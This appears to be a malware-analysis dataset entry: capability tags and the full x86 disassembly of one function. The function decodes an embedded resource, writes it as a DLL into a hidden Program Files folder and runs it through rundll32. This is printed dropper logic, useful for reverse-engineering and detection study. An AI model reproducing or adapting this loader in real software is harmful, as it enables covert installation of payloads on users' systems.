Function at 0x401383
Capabilities:
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b0
push ebx
push esi
push edi
push 0x41c100
xor ebx, ebx
push 0x82
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, ebx
je 0x4013b6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebx
jne 0x4013bd
xor eax, eax
jmp 0x401665
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call sub.MSVCRT.dll_memcpy
movzx eax, byte [esi]
mov dword [ebp - 0xc], eax
add esp, 0xc
movzx eax, byte [esi + 1]
xor edi, edi
cmp dword [ebp - 4], ebx
mov dword [ebp - 8], eax
jle 0x40141f
mov eax, edi
push 3
cdq
pop ecx
idiv ecx
cmp edx, 2
jne 0x401401
mov al, byte [ebp - 0xc]
sub byte [edi + esi], al
cmp edx, 1
jne 0x40140c
mov al, byte [ebp - 8]
sub byte [edi + esi], al
cmp edx, ebx
jne 0x401419
mov al, byte [ebp - 8]
add al, byte [ebp - 0xc]
sub byte [edi + esi], al
inc edi
cmp edi, dword [ebp - 4]
jl 0x4013ee
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x1a7]
mov byte [ebp - 0x1a8], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ab]
mov byte [ebp - 0x2ac], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], bl
push 5
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
push eax
call fcn.0040107c
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1a8]
push str.d:Program_Files_s
push eax
call edi
add esp, 0x14
lea eax, [ebp - 0x1a8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4014b4
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1a8]
push str.c:Program_Files_s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x1a8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1a8]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x10
lea eax, [ebp - 0x24]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x24]
push 5
push eax
call fcn.0040107c
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x2ac]
push str._s_s.dll
push eax
call edi
add esp, 0x24
lea eax, [ebp - 0x2ac]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ecx
push dword [ebp - 4]
mov dword [ebp - 0x28], eax
push esi
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_rand]
call esi
cdq
mov ecx, 0xff
idiv ecx
push edx
mov dword [ebp - 0x10], edx
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, ebx
jle 0x40157e
mov dword [ebp - 8], 0xfa
mov dword [ebp - 4], eax
sub dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
call esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
add ecx, edx
cdq
idiv ecx
mov eax, dword [ebp - 4]
inc dword [ebp - 4]
dec dword [ebp - 0xc]
mov byte [eax], dl
jne 0x401564
lea eax, [ebp - 0x14]
mov esi, dword [ebp - 0x28]
push ebx
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
push esi
call edi
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x14]
push ebx
push eax
push 2
push 0x41c0c8
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 8
mov esi, str.c:windows_system32_rundll32.exe
pop ecx
lea edi, [ebp - 0xa4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x5af]
mov byte [ebp - 0x5b0], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x3af]
mov byte [ebp - 0x3b0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x3b0]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x3b0]
push eax
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x5b0]
push str._s___s__method__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
xor eax, eax
lea edi, [ebp - 0x6c]
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x70], 0x44
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x5b0]
push ebx
push eax
mov dword [ebp - 0x68], str.WinSta0Default
mov word [ebp - 0x40], bx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret